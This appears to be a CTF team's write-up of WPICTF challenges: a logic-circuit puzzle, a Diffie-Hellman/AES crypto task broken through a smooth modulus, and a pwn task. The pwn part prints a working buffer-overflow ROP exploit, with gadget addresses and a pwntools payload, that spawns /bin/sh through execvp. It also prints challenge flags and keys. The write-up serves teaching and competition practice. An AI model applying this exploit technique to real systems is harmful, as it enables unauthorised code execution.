Next step is too fill two boxes covering parts of the diagram, starting with the right one. By comparing the distance between paths with other gates we could predict that two 4-input ANDs were used there. By using the same method to the left box, we find out that there were two 3-input ANDs. But what about the rest two gates? Well..., we guessed that this two gates were connected to the output by one OR, but in such case we would use only three gates. Although we have tested many configuration, we couldn't find one consisting of four, so we have just left the first version with just three of them.

coffeegate-blocks.png

As the function has almost hundred input values and filling the truth table for every one of them would take a lot of time, we decided to redraw the circuit in LogiSim (by the way: great, free circuit simulator). To make sure we won't omit any combination, we've connected counter to the input bits. The LED2 is connected to the clock line, so it lights up every time counter changes its value. When LED2 is on, we write down the output of the 'device' (displayed on LED1).

coffeeLogisimCircuit.png

After ~90 seconds we got the binary sequence, which converts to flag{Booley. It looks almost perfect, but last character does not match :/ . However after looking at the ASCII table, we noticed that between y and } there's only one bit diffrence. So either we might have made a mistake while writing down 'device' output or we have connected something somewhere wrong. After replacing word flag to WPI (as task description requested us to do so), the flag WPI{Booley} was accepted.

Crypto

Crypto

Backtalk

Task

"We caught two WPI students sending illegal secrets on our network... can you find out what they said?"

Also we are given pcapng file.

Solution

There are five packets with any data in this pcapng:

So as it says "Key exchange" in the first packet I instantly thought about Diffie-Hellman key exchange. It makes sense cause then we have generator g, modulus mod and two public values.
In D-H pub = pow(g, random_number, mod), so if we wanna break it we gotta find discrete logarithm.

My first attempt was to use sagemath. Assuming I got all variables set the code is just.

K = GF(mod)
discrete_log(K(pub1), K(g), mod)

It returns 2100 and as we can check in python/sage pow(10, 2100, mod) - pub1 == 0. As for discrete_log(K(pub1), K(g), mod) it doesn't want to end counting.

But stop.
I added third argument because that's how it is on the sagemath page, but that's actually really strange. The third argument should be ord - integer (multiple of order of base, or None) and the order of the base is actually mod - 1 but that doesn't work. Maybe I don't get the documentation or sth. BUT if we drop the third argument (cause it's optional) both discrete_log(K(pub1), K(g)) and discrete_log(K(pub1), K(g)) count without a problem. My only guess is that setting ord which is actually moultiple of order makes something worse?
But that's me sidetracking, I didn't realize this until writing this writeup.

Also given the logarithm is so small if one would just try bruteforcing his way e.g. counting powers of g until 1e10 he would also find it with no problem.

So we know discrete logarithm of one of the secrets and that allows us to count shared secret which is secret = pow(pub2, discrete_log(pub1), mod).
Actuall number is 470025532326429509257190794699658985614265142446015884571648783710068051626363138484599386732557854.
So then we gotta decode the enc_key (the guess is that's key to symmetric block cipher).

My first idea was that enc_key = secret * key % mod, but to not go in blind I checked on Wikipedia.
I looked for use in encryption and here we find in paragraph 5.1 link to ElGamal Encryption and it says the exact thing I just proposed.

At this point I was sure that I was right so into decrypting we go.
We just have to get enc_key / secret and as we are in Zmod it's key = enc_key * pow(secret, mod - 2, mod) % mod.
The result is key = 128009196690239019135781346654390395054.
That's a pretty small number compared to mod so it must be a hit.
Then I used Crypto.Util.number.long_to_bytes() to convert it to byte-like object. It's exactly 16 bytes so it's perfect.

So I copied data from fourth packet as hexstream and did:

>>> cipher = '8daa192c19dc4037b58def2935623704856779cefe83ff9042677b9b62661c59'
>>> cipher = int(cipher, 16)
>>> cipher = long_to_bytes(cipher)

Now we have 16-byte key and 32-byte data to decrypt. The obvious guess is AES as the most popular symmetric key algorithm AFAIK.
There are multiple modes but the simplest one is ECB it also gives us full 32-byte of data (e.g. CBC has 16-byte IV).
So the last thing to do is:

>>> from Crypto.Cipher import AES
>>> aes = AES.new(key, mode = AES.MODE_ECB)
>>> aes.decrypt(cipher)
b'WPI{sTRuk_byA_$m0otH_cR!mIn@1}\x00\x00'

Other stuff

So after the competition ended we were chatting with the task author.
He explained what was the last packet about (notice I didn't use it).
Notice that YT links are in format https://www.youtube.com/watch?v=<video id>.
That gives us the video.
That's a hints a fact that mod - 1 is extremely smooth integer (highly divisible):
factor(mod - 1) == 2^6 * 3^13 * 5^12 * 7^14 * 11^2 * 13^13 * 17^10 * 19^4 * 23^14 * 29^12'
Prime numbers that are highly divisible integers plus one are actually really unsafe cryptographically, that's offen modulus = 2 * q + 1 where q is prime. Those primes are called "safe primes".
Given mod - 1 is highly divible one can efficiently count discrite logarithm using this algorithm.
I didn't notice that, but my guess sagemath uses this or similar algorithm since it can count discrete_log(pub2, g).

pwn

pwn

Source

Source

Author: Paweł Wieczorek (aka cerber-os)
Part 1.

In the first part of this challenge we were given nothing more than server and ssh credentials. After connecting we are asked for password and informed if it was wrong or not. Neither format string vulnerability nor timing attack was possible to exploit, but after entering very long input connection is being closed - it has to be buffer overflow. Since we have no access to the binary, our only hope is to enter the string of such length that buffer would overwrite some local variable, e.g. is_authorized. We used simple command and manually binsearch for the correct input length (too short - nothing would happen, too long - we would smash the stack).

python -c "print('A'*length + '\\n')" | ssh source@source.wpictf.xyz -p 31337

For length=112, the server prints out source code of program (we will need it in the second part) and flag: WPI{Typos_are_GrEaT!}

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

#include <stdlib.h>
#include <string.h>

//compiled with gcc source.c -o source -fno-stack-protector -no-pie
//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0

//flag for source1 is WPI{Typos_are_GrEaT!}
int getpw(void){
	int res = 0;
	char pw[100];

	fgets(pw, 0x100, stdin);
	*strchrnul(pw, '\n') = 0;
	if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1;
	return res;
}

char *lesscmd[] = {"less", "source.c", 0};
int main(void){
	setenv("LESSSECURE", "1", 1);
	printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n");
	if(!getpw()){
		printf("Pasword auth failed\nexiting\n");
		return 1;
	}

	execvp(lesscmd[0], lesscmd);
	return 0;
}

Part 2.

As we previously predicted this app has a buffer overflow vulnerability - in line 16. 0x100=256bytes are loaded to the array of size 100. Let's start our exploitation from compiling the source code. Small tip: make sure you use the same version of GCC and Ubuntu as written down in the comment - otherwise your binary could be different from the one on the server. Our goal is to change program flow in order to execute /bin/sh without arguments. The way to achieve this is to call execvp with first argument /bin/sh and second a pointer to an empty char* array (i.e. first element is NULL), which means we're going to make a ROP chain. On Linux x64 first two arguments are stored in registers rdi and rsi. After launching PEDA, we set breakpoint at getpw function and step through it to see in what state the program will be just before executing our ROP.

break *getpw
r
ni 25

As we could see the rdi register contains pointer to the input buffer. That's great - the beginning of our payload will be the first argument of execvp. Half way behind us, now let's find out the way to modify the rsi and jump to the desired function.

stack.png

From the image above, we see that after 120th character the return address from function starts. If we modify it, we could change were the program will go. Let's try it out:

$ python -c 'print("A" * 120 + "\x07\x06\x05\x04\x03\x02\x01\x00")' > payload.txt
$ peda source

And run it in PEDA using r < payload.txt command. As we could see program crashed with SIGSEGV and the last value on stack is 0x01020304050607. It means that program tried to jump to this address, but was unable ('cause it doesn't exist) and kernel decided to burn him down. Ok, we know how to jump, but where should we go? A helpful hand gives us dumprop command in PEDA. As its name suggests it dumps small parts of program (called gadgets), which ends with ret instruction. Thanks to this, we could call one gadget after other. For example: we insert on stack addresses xxxx and yyyy. The program will jump to the first one execute its code and hit the ret instruction. After that it would take the second address from stack, jump to and execute it. Then it will take third and fourth and so on.

dumprop

It will give us the following output:

0x4006ea: ret
0x400650: repz ret
0x40028e: fnop; ret
0x40076e: leave; ret
0x400688: pop rbp; ret
0x400843: pop rdi; ret
0x400842: pop r15; ret
0x40064f: add bl,dh; ret
0x40076d: cld; leave; ret
0x400593: add esp,0x8; ret
0x400592: add rsp,0x8; ret
0x40082c: fmul [rax-0x7d]; ret
0x400841: pop rsi; pop r15; ret
0x400840: pop r14; pop r15; ret
0x40064e: add [rax],al; repz ret
0x40076c: rex.RB cld; leave; ret
0x40064d: add [rax],r8b; repz ret
0x4006c5: nop [rax]; pop rbp; ret
0x4007ca: mov eax,0x0; pop rbp; ret
0x400590: call rax; add rsp,0x8; ret
0x400686: add [rax],al; pop rbp; ret
0x4006e7: add [rcx],al; pop rbp; ret
0x40028b: ficomp [rcx+0x2]; fnop; ret
0x400685: add [rax],r8b; pop rbp; ret
0x40084d: add [rax],al; add bl,dh; ret
--More--(25/106)

Now we have some gadgets to choose from. The interesting one for us is at 0x400841 pop rsi; pop r15; ret, which allows us to set rsi value. Now we need addresses of execvp and third element of lesscmd variable ('cause from there an empty char* array starts). The easiest way to obtain them is to use PEDA.

p 'execvp@plt'
p (void*)&lesscmd + 16

With all this knowledge we could create an exploit, which is illustrated below. exploit1.png

from pwn import *
with open('payload.txt', 'wb') as f:
	f.write(b'/bin/sh\x00' + "a"*112 + p64(0x400841) + p64(0x601070) + p64(0) + p64(0x400610))

After passing payload to our program we get the shell, right? Nope - nothing more than SIGSEGV. To find out why it is happening, let's run app with ltrace. It tells us that execvp was called, but with some invalid pointer as a first argument instead /bin/sh. By stepping through the program we could see that the cause of a problem is dynamic linker. When we call execvp for the first time dynamic linker has to find its address in libc library. To achieve this, it has to modify the program registers and memory, but as it wants to be invisible for mortals, uses the xsave and xrstor instructions. What they do is performing a save and restore of processor state to/from the stack. It works like that:

dynLinker.png

The problem is that saving processor state to the stack overwrites our /bin/sh string. execvp detects that and returns with error. Where it returns? Of course to the next place pointed by pointer on the stack; the pointer which we could modify. So our new plan is to append an address to main and a copy of exploit to our previous one. The first call to execvp will fail, but the next one omit dynamic linker and therefore succeed.

Final exploit:

from pwn import *
RSI_GADGET = 0x400841
EMPTY_CHAR_ARRAY = 0x601070
EXECVP = 0x400610
MAIN = 0x400770
with open('payload.txt', 'wb') as f:
	 f.write(b'/bin/sh\x00' + "a"*112 + p64(RSI_GADGET) + p64(EMPTY_CHAR_ARRAY) + p64(0) + p64(EXECVP) + p64(MAIN) + b"A"*(256-120-5*8-1)+ b'/bin/sh\x00' + "a"*112 + p64(RSI_GADGET) + p64(EMPTY_CHAR_ARRAY) + p64(0) + p64(EXECVP))

The flag was in flag.txt: WPI{lesssecure_is_m0resecure}.

Additional tips